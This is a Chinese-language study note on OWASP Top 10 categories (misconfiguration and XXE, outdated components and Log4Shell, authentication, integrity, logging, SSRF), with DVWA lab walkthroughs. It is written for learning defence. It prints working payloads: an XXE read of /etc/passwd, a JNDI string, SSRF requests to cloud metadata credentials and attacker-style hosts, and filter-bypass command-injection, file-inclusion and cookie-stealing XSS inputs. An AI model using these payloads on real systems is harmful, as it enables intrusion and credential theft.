![](https://i.imgur.com/TNE4YAP.png) > [圖片來源](https://blog.miniasp.com/post/2019/02/18/Unit-testing-Integration-testing-e2e-testing) #### 單元測試(Unit testing): 以程式碼最小的單元進行測試,以確保整個系統的程式邏輯不會在維護過程中被搞壞,並確保程式碼的品質 * 最容易撰寫的測試類型(由開發人員自行撰寫) * 但考驗寫程式的能力,架構要足夠獨立,才能切割成小單元 * 測試範圍小,單元測試通常不需要設立測試環境 * 對於不同的 input ,預期得到什麼 output #### 整合測試(Integration testing): 整合多方資源進行測試,確保整個系統的正常運作,避免不同模組之間的衝突或錯誤 * 介於單元測試與端對端測試之間 * 開發團隊中負責特定模組的人/專職的測試人員進行撰寫 * 要準備更完整的模擬環境,來幫助你完成測試工作 #### 端對端測試 (End-to-end testing): * 從使用者角度出發 * 貼近模擬使用者實際操做的過程 * 通常利用自動化測試工具模擬真實的使用情境,節省測試時間,並減少人為錯誤的發生 #### 範例 :shopping_trolley: 假設在開發一個購物網站,網站可能包含商品列表、購物車系統、付款系統等功能 1. 一開始會分別開發這些功能的程式碼,每個功能都是獨立的模組 2. 模組都開發好了 3. 進行**單元測試** 4. 確認商品列表是否正常顯示、商品加入購物車後是否能成功計算總價... 5. 進行**整合測試** 6. 確保在購物車系統與支付系統之間的資料交換是正確的 7. 確保訂單正確處理且付款順利完成 8. 進行**端對端測試** 9. 確認使用者能夠順利進入網站、搜尋商品、加入購物車、選擇付款方式、完成付款,並收到訂單確認信等流程是正確的 10. 測試過程中同時監控系統的效能及穩定性,確保過程是順利的 > [參考資料](https://blog.miniasp.com/post/2019/02/18/Unit-testing-Integration-testing-e2e-testing) ::: --- ### 2.5 Security Misconfiguration 安全設定缺陷 > 合併 XML 外部實體注入攻擊 (XML External Entities) > :warning: 把鑰匙插在車上沒有拔、開車沒繫安全帶 #### 2.5.1 導致安全設定缺陷的原因? * 系統管理或配置不當所造成的安全性漏洞 * 最常見原因是系統管理員沒有更改預設配置,或者在打開系統進行測試後忘記重新關閉系統 * 預設的帳號密碼未修改 * 沒有及時更新 (OS、Framework、DB、libraries) * 如果沒有及時更新軟體、修補漏洞,攻擊者就可以利用公開的漏洞攻擊 * 開啟不必要的功能 (port、services、privileges) * 如果沒有需要,就應該關閉或禁用系統的權限和功能,降低攻擊面 * `FTP` : 21 port,通過監聽流量來獲取敏感訊息,或者透過攻擊 FTP 服務器來入侵系統 * `測試機` :8000、8080 port,通常用於測試和開發目的,不應該直接暴露在外部網路中 * 錯誤訊息顯示 * 如果錯誤訊息顯示得太詳細,就有可能洩漏系統的資訊,攻擊者可以進一步進行攻擊 #### 2.5.2 防禦 * 封鎖全部後,再放行白名單,允許可以連接的 IP 及 port * 應該詳述服務需要的 port 與用途 (維運伺服器時才不會出錯) * 精簡平台,移除或不安裝任何不須使用的功能或框架 * 自動化的流程可以確認環境中的全部安全設定 **2.5.3 XML 外部實體注入攻擊 (XML External Entities)** > XML:由標籤、屬性和內容構成,標籤用來描述資料的類型,屬性提供關於標籤的額外資訊,內容指實際的資料。Web application 通常使用 XML 格式傳送資料 * 利用 XML 上的解析器(Parser)的弱點 * XML External Entities 的功能通常允許 XML 文件使用外部網址所指定的資源(ex. 本機機器或遠端系統上的檔案) * 攻擊者透過竄改 XML 檔案內容並上傳至網站伺服器進行解析,伺服器會觸發攻擊者所設計的攻擊行為 * 攻擊情境 * 文件中定義了一個名為`xxe`的實體,這個實體指向了 /etc/passwd 文件。 * 當 XML Parser 解析這個文件時,會讀取 /etc/passwd 文件的內容並插入到 XML 文件中,攻擊者就可以利用這些敏感資訊進行攻擊 ```xml= <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> ``` * 防禦 * XML External Entities 的功能如果非必要可以關閉 >[參考資料](https://zh.wikipedia.org/zh-tw/XML%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%94%BB%E5%87%BB) --- ### 2.6 Vulnerable and Outdated Components 危險或過舊的元件 > 由第 9 名前進到第 6 名 > :book: 假設我有一台腳踏車,但腳踏車已經過長時間的使用,車架、輪胎這些部分可能因為磨損而有安全性的問題。但如果我忽略了這些問題,繼續騎,那就有可能發生意外! > :bike: 有隱患的腳踏車:存在漏洞或已經過時的元件 #### 2.6.1 什麼是危險或過舊的元件? * 可能成為駭客入侵系統的管道(第三方元件): * WebServer:Apache、Nginx * 資料庫:MySQL、Redis... * 函式庫/前端開發框架:Bootstrap、jQuery、VueJS、ReactJS、Angular... * 任何系統元件都可能成為安全弱點 :::danger 通常在使用第三方元件的時候,會以好不好用為優先所以可能忽略潛在的資安漏洞!!! ::: #### 2.6.2 攻擊情境 * Struts2 發生多起遠端任意程式碼(RCE)執行漏洞 * Struts2 是基於 Java 的 Web 應用程式框架 * 框架的漏洞會影響到程式碼本身的執行 * 安全漏洞編號:S2-016、S2-032、S2-045、S2-046、S2-048、S2-052 * [有關 RCE 的補充](https://hackmd.io/PPQxvKJVQHWMw8ndkGXtRA?both#RCE) * Apache Log4j 事件 :::info ### Apache Log4j 事件 :warning: * 漏洞評分系統評估為 10 分(最嚴重為 10 分) * 可讓駭客進行零時差攻擊的資安漏洞 #### Log4j 是什麼? * 基於 Java 的紀錄檔記錄工具 * 被大量網站及應用程式的開發人員用來紀錄活動、查找錯誤等 #### Log4j 漏洞 * 又被稱為「Log4Shell」 或 「CVE-2021-44228」 * Log4j 在記錄 log 時記錄到某個特定格式的東西`${jndi:ldap://cymetrics.io/test}` ,就會執行特定的指令 * 之後會到`cymetrics.io/test` 這個網址下載程式碼並執行 * 屬於 RCE(Remote Code Execution,遠端程式碼執行)漏洞 #### 為什麼 Log4j 這個漏洞很嚴重? * 使用 Log4j 這個套件的人很多 * 只要有用 Java,幾乎都會用這個套件來紀錄 log * 受影響的服務包括 Cloudflare、iCloud、Steam、Twitter等 * 漏洞容易被觸發 * 只要在 request 的各個地方插入有問題的輸入,一但被記錄到 log 檔中就能夠觸發漏洞 * 漏洞類型嚴重 * 屬於 RCE(Remote Code Execution) 類型,駭客可以掌控整個系統 #### RCE * 高危險漏洞 * 遠端執行程式碼攻擊 (Remote Code Execution) * 類似 Injection * 擁有控制權 * 利用服務中可以讓使用者輸入的區塊,執行惡意指令 ::: #### 2.6.3 防護 * 盡量掌握第三方元件的相關資訊 * 例如:版本、安全性資訊、開發者等,確保使用的元件是可靠的 * 實時關注資安新聞與軟體提供商消息,即時發現問題 * 使用第三方元件時,應該盡量關閉未使用的功能,減少潛在的攻擊面 * 安裝 WebServer 要關閉未使用的模組和服務 * 定期進行弱點掃瞄,發現並解決潛在安全弱點再進一步進行修補 --- ### 2.7 Identification and Authentication Failures 認證及驗證機制失效 > 由第 2 名前降至第 7 名,之前的命名是 Broken Authentication > :shopping_bags: 假設今天網購的東西送到超商了,我去取貨的時候一定要攜帶有效可以證明我身份的文件才能領貨,(特別是已經線上付款的訂單),如果我沒帶證件或是我帶成別人的證件就沒辦法沒辦法證明我真正的擁有者 * 指使用者的身分認證、session 管理等方面的漏洞,導致系統無法適當地識別和驗證使用者的身分 #### 2.7.1 什麼是 Session / Cookie? * Http 本身是個無狀態(Stateless)的協議,使用者每次發送的請求都是==獨立==運作的,server 針對每個請求分別處理之後分別進行處理後再發送回應,所以延伸出 Session 和 Cookie 來紀錄資訊 * 網站為了提供更多功能、提高使用者體驗 * 使用一組 session id 進行識別 * 紀錄、追蹤使用者的相關狀態 * ex. 成功登入一個網站後,如果不小心關掉網頁,就不需要重新登入 * ex. 購物網站的購物車紀錄 * session id 常見的傳遞方式:網址列、Cookie 等 * Cookie(通行證) * 瀏覽網頁的時候,server 端發送到 client 的小型文件檔,使用者下一次瀏覽同一個網站的時候,自動發送給 server * 有生命週期,cookie 到期後就會失效 * 缺點:client 端可以修改 cookie 資訊 * Session(會員卡) * 紀錄在 server 端上使用者的狀態 * 使用者完成身份驗證之後,產生一組 session id,存入 cookie 傳回 client 端 * 要建立 session id 的時候會先檢查使否已經建立過 ![](https://i.imgur.com/o8PUh1a.png) * Session / Cookie 流程 ![](https://i.imgur.com/CPDsqBY.png) >[圖片參考](https://blog.tienyulin.com/session-cookie/) > [參考資料](https://medium.com/tsungs-blog/day14-session%E8%88%87cookie%E5%B7%AE%E5%88%A5-eb7b4035a382) #### 2.7.2 為什麼會造成 Identification and Authentication Failures ? * 竊取 session id (Session Hijacking) * session id 顯示在網址列,如果被攻擊者記住,就可以直接登入,跳過身份驗證 * 釣魚網站引誘使用者點擊連結,再透過 HTTP Header 的 參照位址(referer) * 如果 session id 儲存在 cookie * 利用 XSS 攻擊 * 攔截過程的封包進行解析 * 破解 session id * 利用自動化工具進行暴力窮舉 * 如果 server 端發送的 session id 太簡短 * 找出網站用來儲存 session id 的變數名稱(JESSIONID、PHPSESSIONID等) * 查看 session id 長度、組成字元種類 * 不是針對特定一個使用者(目的是找到一個有效的 session id) * 猜測 session id (Session Prediction) * 細心尋找 session id 的規律 * 如果 server 端產生的 session id 太規律 * 通常 session id 會先經過編碼的轉換(Base64、MD5...等),不會直接顯示流水號 * 會談固定(Session Fixation) * 逆向思考,攻擊者先正常取得 session id ,在 session 時效內引誘使用者使用 * session id 把放到網址中 * 當使用者連線至攻擊者傳送的連結並使帳號密碼登入,如果沒有重新產生新的 session id ,攻擊者就可以進一步存取使用者資訊 * 使用 XSS 攻擊竄改 Cookie * 竄改使用者的 Cookie * 密碼噴灑攻擊 Password-Spray Attack * 嘗試對多個帳戶用一個常見的密碼去登入(ex. password、123456) * 帳號猜測 * 查看這個帳號是否有人使用 > 很像電話的「一接就掛」 #### 2.7.3 防禦 * session * 隱藏 session id * 避免在網址顯示出 session id * 使用 POST 方法提交表單數據,而不是 GET 方法 * 保護 cookie * 加密傳輸機制(HTTPS) * 禁止使用者端 JavaScript 的存取,避免 XSS 攻擊 * 限制 session 時間 * 設定 session-timeout 參數值,使用者閒置一段時間後就登出帳號,讓 session 失效 * 登入後需要重新產生一組 session id * 登出後註銷 session id * 帳號密碼 * 加入多因子驗證機制(MFA) * 指紋、臉部辨識、OTP(一次性密碼)... * 加入圖形驗證碼 * single sign-on (SSO) * 使用者透過一次性使用者身分驗證登入多個應用程式和網站 > 一個帳號可以在多個應用程式上使用,不需要每個應用程式都要輸入帳號和密碼 ### 2.8 Software and Data Integrity Failures 軟體及資料完整性失效 > 全新類別,合併 2017 年 A8-Insecure Deserialization(不安全的反序列化) #### 2.8.1 什麼是 Software and Data Integrity Failures? * 架構未能保護軟體及資料之完整性,沒有考慮到資料完整性驗證機制或相關的安全性保護措施 * A06 - 危險或過舊的元件 * 元件有已知弱點 * 未簽署的更新檔案 * 沒有驗證更新檔案的完整性就自動更新 * ex. 家用路由器,沒有進行驗證就自動更新,只能透過廠商以新版本修復才能淘汰舊版本 * 使用不信任來源更新 * SolarWinds 事件 * 持續性整合 / 部署 (CI/CD),未經完整性驗證 * 竄改代碼庫中的程式碼 * 不安全的反序列化 * 見底下的 info box #### 2.8.2 防護 * 三⽅套件信任問題 * 從信任的來源取得函式庫及第三方套件 * 確保第三方套件沒有已知弱點 * CI/CD 流程 * 使用自動化的測試來驗證程式碼的完整性 * 使用簽章確保程式碼沒有被篡改 * 加密技術保護憑證、密碼 * 針對 Insecure Deserialization(不安全的反序列化) * 所有反序列化的物件都加入簽章,驗證資料完整性 * 強化輸入驗證機制,要求在通過身份驗證後才能進行反序列化 * 使用白名單控管,過濾所產生的物件 :::info ### SolarWinds 事件 * 利用了 SolarWinds 的軟體更新管道,將惡意軟體注入到正常的軟體更新中,引發大規模的攻擊 ::: :::info ### 序列化 / 反序列化 #### 序列化(Serialization) * 把物件(Object)轉換成可以儲存、傳輸的格式 * ex. Json、YAML、XML 等 #### 反序列化(Deserialization) * 把儲存格式轉換回物件 C、C++、Java、Python、Ruby 這些程式語言皆可以進行序列化 / 反序列化 ![](https://i.imgur.com/Dmlvple.png) #### 不安全的反序列化(Insecure Deserialization) * 伺服器實作反序列化的過程中未進行適當驗證 * 攻擊者可以將惡意的 Data Stream 注入未序列化的結構中 * 伺服器解析後產生由攻擊者設計的物件 * 可能攻擊方式 * 遠端執行程式碼攻擊 (RCE) * 注入攻擊(Injection) > [參考連結](https://ithelp.ithome.com.tw/articles/10250483) ::: ### 2.9 Security Logging and Monitoring Failures 資安記錄及監控失效 > 由第 10 名前升至第 9 名 #### 2.9.1 日誌內容 * 事件紀錄種類 * 身份驗證:登入成功、登入失敗、變更密碼、觸發帳號鎖定... * 重要資料存取:資料庫內容異動、權限變更、檔案異動... * 系統功能錯誤:非預期狀態、檔案存取錯誤、查詢語法執行失敗... * 應用程式及相關系統元件啟動、終止、停頓 * 管理者行為:避免管理者惡意濫用系統 * 事件描述 * 人:相關的使用者帳號(不能紀錄姓名、身分證字號等個資) * 事:事件描述(事件類型、嚴重等級、執行結果...) * 時:產生時間戳記(Timestamp)紀錄事件發生時間 * 地:來源、目的地位址、連接埠、主機名稱 * 物:相關物件資訊(存取的資源) #### 2.9.2 造成 Security Logging and Monitoring Failures 原因 * 未紀錄可稽核事件 * 登入成功,登入失敗、高風險交易 * 影響安全事件的追蹤和調查 * 未產生警告或錯誤 * 未記錄或者紀錄的不明確 * 增加調查難度 * 未設有適當監測原則 * 未設定適當告警閥值(Alert threshold) * 無法及時偵測和回應 >告警閥值(Alert threshold):觸發警告的門檻值。當系統活動超過預先設定的數字或次數時,系統會自動產生警報,通知相關人員採取行動 * 紀錄反應時間過長 * 未能及時反應事件或告警 * 降低安全事件的追蹤效率 * 總結 * 雖然不會直接導致漏洞,但如果系統缺乏適當的資安紀錄和監控機制,系統管理者將難以發現入侵和異常行為,攻擊者就有更多時間在系統內搜尋敏感資訊和擴大攻擊範圍,對於日後的調查和追蹤也會產生困難 #### 2.9.3 注意事項 * 統一格式儲存Log * 容易被分析和處理,提高事件偵測的效率 * 日誌備份 / 異地備份 * 從備份中恢復資料和日誌紀錄,進行分析和追蹤事件 * 避免本地設備故障造成丟失 Log 數據 * 確保日誌的完整性 * 不會被竄改 * 可留存日誌檔案的雜湊值提供日後做比對 * 監控系統能夠偵測可疑活動 * 告警機制運作正常,即時通知相關人員 :::info ### Log 分析工具 * ELK * Elasticsearch、Logstash、Kibana * Graylog * Splunk >[參考資料](https://www.educba.com/graylog-vs-elk/) ::: > [參考資料](https://owasp.org/Top10/zh_TW/A09_2021-Security_Logging_and_Monitoring_Failures/) ### 2.10 Server-Side Request Forgery(SSRF)伺服端請求偽造 > 全新分類 #### 2.10.1 什麼是 SSRF? * 在取得遠端資源時未對使用者輸入進行驗證或限制,導致攻擊者可以透過造假的請求,引導伺服器存取非預期的資源 > 攻擊者假裝成使用者,向 server 發送請求 * 如果發出的請求是合法的,就可以突破防火牆、VPN、ACL 的保護 * 因為雲端服務和雲端結構的複雜性,偽造伺服端請求的嚴重性將會愈來愈嚴重 #### 2.10.2 情境舉例 #1 * 在貼上網址之後會自動產生縮圖 ![](https://hackmd.io/_uploads/rJse3Pt4n.png =320x500) * 進入內部網路,對服務進行操作或拿取資料 * 嘗試猜測內部有什麼服務,通常都會有預設的網址 ![](https://hackmd.io/_uploads/Hkga7_KE2.png) * 假如裡⾯有 Amazon EC2 的話,可能可以去針 169.254.169.254 這個特別的 IP,往雲端上去做攻擊 ```java= // 存取 metadata,ex.主機名稱、IP地址、可用區域、AMI ID等等 http://169.254.169.254/latest/meta-data/ // 存取相關的使用者資料,用於設置網路、安裝軟體、啟動應用程式 http://169.254.169.254/latest/user-data/ // 可以用於認證 IAM 角色訪問其他 AWS 服務,管理AWS資源的訪問權限 http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE ``` #### 2.10.3 情境舉例 #2 * LFI (Local File Inclusion) / RFI(Remote File Include) * 因為沒有對使用者的輸入進行驗證,所以可以引入 Server 本地端、外部來源的檔案 * * file:/// * 引入 Server 本地端檔案 * http://exploit.com/ssrf.php?url=file:///etc/passwd * ldap:// * 存取本地目錄 * http://exploit.com/ssrf.php?url=ldap://localhost:8080/ * dict:// * 讀取其他 server 上的資料(字典檔) * http://exploit.com/ssrf.php?=dict://attacker:8080/ * sftp:// * 讀取其他 server 上的檔案 * http://exploit.com/ssrf.php?url=sftp://evil.com:8080/ * gopher:// * 讀取其他 server 上的檔案 * http://exploit.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php ```javascript= // download.php 提供下載某個檔案的功能 http://example.com/download.php?f=register.pdf // 改變 f 的值 http://example.com/download.php?f=/etc/passwd // 可能的回傳結果 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin ... ... ``` #### 2.10.4 情境舉例 #3 * 掃描內部開放 port 號 * 根據回應的 banner 訊息,錯誤資訊,回應時間,封包大小判斷該埠是否有開放 ```java= http://exploit.com/ssrf.php?file=http://127.0.0.1:22 http://exploit.com/ssrf.php?file=http://127.0.0.1:25 ``` > [參考資料](https://ithelp.ithome.com.tw/articles/10270171) #### 2.10.5 常見的繞過手法 * IP 變形(使用不同進制、插入無意義的字符) * 127.1 * 127.0x0.0x00.1 * 2130706433(127.0.0.1) • 0177.0000.0000.0001 * 10.121913 * [::] * [0000::1] * 重新導向 * 修改 Location 重新導向到想要訪問的目標 * `Location: http://127.0.0.1/admin` * 網域解析 * 將攻擊者控制的 IP 解析成合法的網域名稱 * 伺服器認為這是一個合法的網域名稱而發送請求 * ex. Nip.io、Xip.io * `127.0.0.1.nip.io` 來訪問 `127.0.0.1` * `10.0.0.1.xip.io` 來訪問 `10.0.0.1` * DNS rebinding * 利用「第一次 dns 解析」到「檢測是否合法,合法後進行訪問」中間的==時間差==重新綁定新的 DNS * 第一次查詢: 1.2.3.4 * 第二次查詢: 127.0.0.1 ```php= $target = $_GET['target']; $ip = dns_lookup($target); // 此時解析 1.2.3.4 if($ip == '1.2.3.4'){ return get_data($ip); // 此時解析 127.0.0.1 } ``` #### 2.10.4 防禦方式 * 網路層 * 切割網路:將遠端功能切割成不同的子網路,降低 SSRF 的影響,限制不同網段之間的流量 * 預設拒絕(deny by default):在防火牆政策或是 ACL(Access Control List) 的規則中,拒絕全部的外部流量,只開放必要的流量 * 內部 API 還是要有憑證 (token) 保護,不能只有依賴內網的防火牆 * 應用層 * 避免目錄遍歷 (Path Traversal) 漏洞,過濾、驗證使用者端輸入,確保請求不是指向惡意的目標 * 設置白名單,列出可以訪問的 URL、port、目標清單 * 確保 URL 的一致性,避免攻擊者通過修改 IP 或 URL 的方式繞過防禦機制 * 關閉 HTTP 重定向,避免攻擊者將請求導向到意料之外的 URL > [參考資料](https://blog.securelayer7.net/double-check-inputs-to-avoid-ssrf-vulnerability/) ##### 參考資料 * Broken Access Control * [什麼是 Access Control](https://infosecwriteups.com/owasp-access-control-vulnerability-611278b0d401) * [測試](https://application.security/free/owasp-top-10) * [垂直提權](https://application.security/free-application-security-training/owasp-top-10-vertical-privilege-escalation) * Cryptographic Failures * [Cryptographic Failures 參考資料](https://crashtest-security.com/owasp-cryptographic-failures/) * [密碼學](https://hitcon.org/2018/CMT/slide-files/d1_s2_r4.pdf) * [實作](https://ithelp.ithome.com.tw/articles/10304631) * 111年度新型態資安實務暑期課程 - OWASP(Top10) 與 安全程式開發 * 圖解資訊系統安全 ## DVWA 實作 ### 安裝 DVWA :::success ### 安裝 DVWA(Damn Vulnerable Web Application) 1. `sudo apt update` 2. `sudo apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php` 3. `cd /var/www/html` 4. `sudo git clone https://github.com/digininja/DVWA.git` 5. `sudo vim /var/www/html/DVWA/config/config.inc.php.dist` 6. 設定 db 名稱、使用者帳號、密碼,把難度改成`low` 7. 往下滑找到一個 google reCAPTCHA 的網址,建立一個 reCAPTCHA ,==版本記得選V2== ![](https://hackmd.io/_uploads/B1r5c3zH3.png) 8. 把生成的金鑰跟密鑰貼到欄位裡 9. `sudo cp DVWA/config/config.inc.php.dist DVWA/config/config.inc.php` 10. `sudo mariadb;` 11. mysql> `create database dvwa;` Query OK, 1 row affected (0.00 sec) mysql> `create user dvwa@localhost identified by 'p@ssw0rd';` Query OK, 0 rows affected (0.01 sec) mysql> `grant all on dvwa.* to dvwa@localhost;` Query OK, 0 rows affected (0.01 sec) mysql> `flush privileges;` Query OK, 0 rows affected (0.00 sec) 12. 修改權限 `sudo chmod 777 -R /var/www/html/DVWA/hackable/uploads/` `sudo chmod 777 -R /var/www/html/DVWA/config` 13. `sudo vim /etc/php/7.4/apache2/php.ini` `allow_url_include = On` # 設置成ON > 861 行左右 15. `sudo service apache2 restart` 16. 打開 `127.0.0.1/DVWA` 檢查頁面上的權限是否都有開啟、是否可以創建資料庫 > [參考資料](https://github.com/digininja/DVWA) > [參考影片](https://www.youtube.com/watch?v=5PBZJg6-Gd4) [BURP SUITE 下載](https://portswigger.net/burp/releases/professional-community-2023-4-3?requestededition=community&requestedplatform=) ::: ### LAB 1 - Brute Force :::success ### LAB 1 - Brute Force #### LOW * Source Code(Low) * ![](https://i.imgur.com/oeQEKen.png) ::: ### LAB 2 - Command Injection :::success ### LAB 2 - Command Injection #### LOW * Source Code(Low) ![](https://i.imgur.com/eTNBdMR.png) * `127.0.0.1` > 正常查詢 ip ![](https://i.imgur.com/J7hJIYE.png) * `127.0.0.1; ls` ![](https://i.imgur.com/yXstzUd.png) > 輸入`;`分隔指令 * `127.0.0.1; cat /etc/passwd` ![](https://i.imgur.com/Kr0D3Ew.png) #### MEDIUM * Source Code(Medium) > 過濾 `&&` 跟 `;` 字元 > `&&` :前面的指令執行完成後,才會執行後面的指令 ![](https://i.imgur.com/AXw9qZG.png) * `127.0.0.1&hostname` > 使用 `&` 字元,前後兩個指令同時執行 ![](https://i.imgur.com/H4sgHV1.png) #### HIGH > 過濾更多字元,但仔細看可以看到有一個 `|` 後面多了一個空格 ![](https://i.imgur.com/T7wUUSM.png) * `127.0.0.1|ls` > 輸入 `|` 時,前後不加空格 ![](https://i.imgur.com/XUDdU8b.png) ::: ### LAB 3 - File Inclusion :::success ### LAB 3 - File Inclusion #### LOW * LFI(Local File Inclusion) * 利用 `../` 繞過 * `../../hackable/flags/fi.php` ![](https://hackmd.io/_uploads/rkSnitfSh.png) * `../../../../../../etc/passwd` * ![](https://hackmd.io/_uploads/rJvZ2KfHh.png) * RFI(Remote File Inclusion) * 直接放外部檔案網址 * ![](https://hackmd.io/_uploads/S15vf9zH2.png) #### Medium > 過濾字元 `http://`、`https://`、`../`、`..\\` * LFI(Local File Inclusion) * 利用 `....//....//` 繞過 * `....//....//hackable/flags/fi.php` ![](https://hackmd.io/_uploads/Sykkk9fr3.png) * RFI(Remote File Inclusion) * 用大寫 `HTTP` 繞過過濾 * ![](https://hackmd.io/_uploads/BJW9M5fB2.png) #### High * LFI(Local File Inclusion) * `file:///` 指定根目錄下的文件路徑 ![](https://hackmd.io/_uploads/H1qxG9MB3.png) ::: ### LAB 4 - Insecure reCAPTCHA :::success ### LAB 4 - Insecure reCAPTCHA #### LOW * Source Code(Low) * 重新發送 request * `step=2&password_new=123&password_conf=123&Change=Change` ![](https://hackmd.io/_uploads/SJIoT5MHn.png) #### Medium * Source Code(Medium) * 重新發送 request * `step=2&password_new=1234&password_conf=1234&passed_captcha=true&Change=Change` ![](https://hackmd.io/_uploads/HycFljfSh.png) #### High * Source Code(High) * 修改參數內容 * User-Agent: reCAPTCHA * g-recaptcha-response=hidd3n_valu3 ![](https://hackmd.io/_uploads/rJ2ZujzH2.png) ![](https://hackmd.io/_uploads/HybbusGB3.png) ::: ### LAB 5 - Weak Session IDs :::success ### LAB 5 - Weak Session IDs #### LOW * Source Code(Low) ![](https://i.imgur.com/2rOrsuE.png) #### Medium * Source Code(Medium) ![](https://i.imgur.com/B5Yl2No.png) #### High * Source Code(High) ![](https://i.imgur.com/9peUBUF.png) ::: ### LAB 6 - XSS Stored :::success ### LAB 6 - XSS Stored #### LOW * Source Code ![](https://i.imgur.com/feoW5mW.png) * `<script> alert(document.cookie) </script>` ![](https://i.imgur.com/XyxXXww.png) > 加入一段 JavaScript 可以獲得使用者的 cookie ,在每次打開頁面的時候都會顯示 > 如果輸入欄位不夠長可以按右鍵,到「檢查」裡設定 #### Medium * Source Code ![](https://i.imgur.com/Bw5uglW.png) * name 欄位:`<SCRIPT> alert(document.cookie) </SCRIPT>` ![](https://i.imgur.com/5qaJ8Dd.png) > 在 name 的輸入只取代小寫 `<script>`,可以用大寫 `<SCRIPT>` 或 `<scr<script>ipt>` 去繞過 #### High * Source Code ![](https://i.imgur.com/HNv1ifF.png) > name 欄位使用正規表達式過濾 * `<body onload=alert(document.cookie)>` ![](https://i.imgur.com/xE2fnmp.png) > 使用 HTML 元素,onload:在載入網頁後直接執行 ::: ### LAB 7 - XSS Reflected :::success ### LAB 7 - XSS Reflected #### LOW * Source Code(Low) ![](https://i.imgur.com/tVuXDmb.png) * `<script> alert(document.cookie) </script>` ![](https://i.imgur.com/yFjXszK.png) #### Medium * Source Code(Medium) ![](https://i.imgur.com/JrFcYPl.png) * `<SCRIPT> alert(document.cookie) </SCRIPT>` ![](https://i.imgur.com/orrLSAZ.png) #### High * Source Code(High) ![](https://i.imgur.com/Rwuh3YT.png) * `<body onload=alert(document.cookie)>` ![](https://i.imgur.com/ce6F0Wt.png) ::: ### LAB 8 - XSS DOM :::success ### LAB 8 - XSS DOM #### LOW * Source Code(Low) ![](https://i.imgur.com/MwfZGYr.png) * 在 URL 後面插入 `<script>alert(document.cookie)</script>` ![](https://i.imgur.com/uAdHgEG.png) #### Medium * Source Code(Medium) ![](https://i.imgur.com/cGLJ3Dp.png) * 在 URL 後面插入 `</select><img src='a.png' onerror='alert(document.cookie)'>` ![](https://i.imgur.com/cJDzvGf.png) > 先關閉 select #### High * Source Code(High) ![](https://i.imgur.com/DVm9DIV.png) > 用白名單過濾 * 在 URL 後面插入 `#<script>alert(document.cookie)</script>` ![](https://i.imgur.com/n8OH9bT.png) > `#` 符號不會發送到 server 端 :::